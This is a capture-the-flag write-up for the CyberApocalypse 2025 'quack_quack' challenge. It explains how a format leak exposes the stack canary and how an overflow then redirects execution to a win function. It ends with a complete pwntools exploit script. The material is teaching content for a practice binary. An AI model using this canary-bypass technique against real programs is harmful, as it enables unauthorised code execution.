Table of contents



Note

Writeup for the first pwn challenge from CyberApocalypse 2025.

Description

On the quest to reclaim the Dragon's Heart, the wicked Lord Malakar has cursed the villagers, turning them into ducks! 
Join Sir Alaric in finding a way to defeat them without causing harm. Quack Quack, it's time to face the Duck!

File information

We’re given the binary and the libc it uses

checksec quack_quack; file quack_quack
[*] '/home/conflict/ctfs/cyberapocalypse2025/pwn/quack_quack/quack_quack'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'./glibc/'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
quack_quack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=225daf82164eadc6e19bee1cd1965754eefed6aa, for GNU/Linux 3.2.0, not stripped

Running the program prompts us to “Quack the duck” and it seems to exit no matter what we enter as input, forcing us to examine the decompilation.

Reversing the binary

2025-03-22-235503_570x523_scrot

This is the duckling() function (which is essentially the main function). Right away, we understand why the program was exiting: our first input has to contain “Quack Quack " (the space at the end is important) for the program to continue.

We see that after the first input there is a second input, which will read 106 bytes into an unknown buffer. We’ll determine its size later.

Essentially, the program returns after the second input, which suggests that we need to disrupt its execution flow through one of the two inputs.

Identifying vulnerabilities

Since the program has no PIE but has stack canaries, we understand that the first step is going to be leaking the canaries to achieve a successful buffer overflow.

The first vulnerability lies in this piece of code:

2025-03-23-000508_577x112_scrot

Here, strstr() will return a pointer to the first occurrence of “Quack Quack " inside the buffer. Then, printf() will display all text characters (due to the %s) from that offset and 32 bytes after.

This can be leveraged to leak data from the stack, because if we fill the input buffer with dummy data, then put “Quack Quack " at the end, it will read beyond the buffer and leak stack data.

To confirm this, we can test it while debugging the program:

2025-03-23-001602_1403x176_scrot

Here we can see that the end of our input ends up 32 bytes before RBP, which is perfect because the program should leak us 32 bytes, and that will contain the canary (its value is the one above RBP, here it is 0xd779...)

Let’s check that it works:

2025-03-23-002205_494x73_scrot

Indeed, we did get some leaks from the stack. Though we can’t verify that it’s the canary because the characters are not printable, it should be correct.

Now for the second vulnerability, we can assume it’s a buffer overflow in the second input. Let’s investigate and try to determine after how many characters the program crashes.

The following line indicates the buffer is 0x60 bytes long, but since there are stack canaries, it will only be 0x58 bytes.

2025-03-23-003147_531x26_scrot

This confirms that we have a buffer overflow because the read() will be reading 106 bytes of input into an 88-byte buffer.

Let’s confirm this by simply sending a large input:

2025-03-23-005552_1896x260_scrot

Indeed, we overflowed the buffer, but that triggered the stack smashing detection.

Finally, we need to know where to jump in the program. Since this is a CTF challenge, it has a “win” function called duck_attack():

2025-03-23-005956_518x449_scrot

So we’ll jump to the address of this function, which is static because PIE isn’t enabled.

Exploit Plan (TLDR)

  1. Fill the first input buffer so it leaks values from the stack
  2. Parse the output to extract the value of the stack canary
  3. Craft a payload that will overwrite RIP with duck_attack()’s address, without triggering the stack smashing detector

Solve Script

#!/usr/bin/python3

from pwn import *

context.update(arch='x86_64')
context.binary = elf = exe = ELF("./quack_quack")
libc = elf.libc

def start():
    if args.REMOTE:
        r = remote("94.237.57.171", 51170)
    else:
        r = process("./quack_quack")
        gdb.attach(r)
    return r

io = start()

# =============================================================================

# =-=-=- Un jour je serai le meilleur pwner -=-=-=


first_payload = b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQuack Quack "

io.sendlineafter(b">", first_payload)

leak = io.recvuntil(b",")


adresses = leak.split(b"Quack Quack ")[1].split(b",")[0]

canary_bytes = adresses[:7]
canary = canary_bytes.rjust(8, b'\x00')
canary = u64(canary)

log.success("canary value = " + hex(canary))

second_payload = b"A"*88 + p64(canary) + b"B"*8 + p64(elf.sym["duck_attack"])

io.sendlineafter(b">", second_payload)

# =============================================================================

io.interactive()

Conclusion

This was a fun challenge even though it was a standard stack canary bypass. It’s always good to review acquired knowledge.

back to top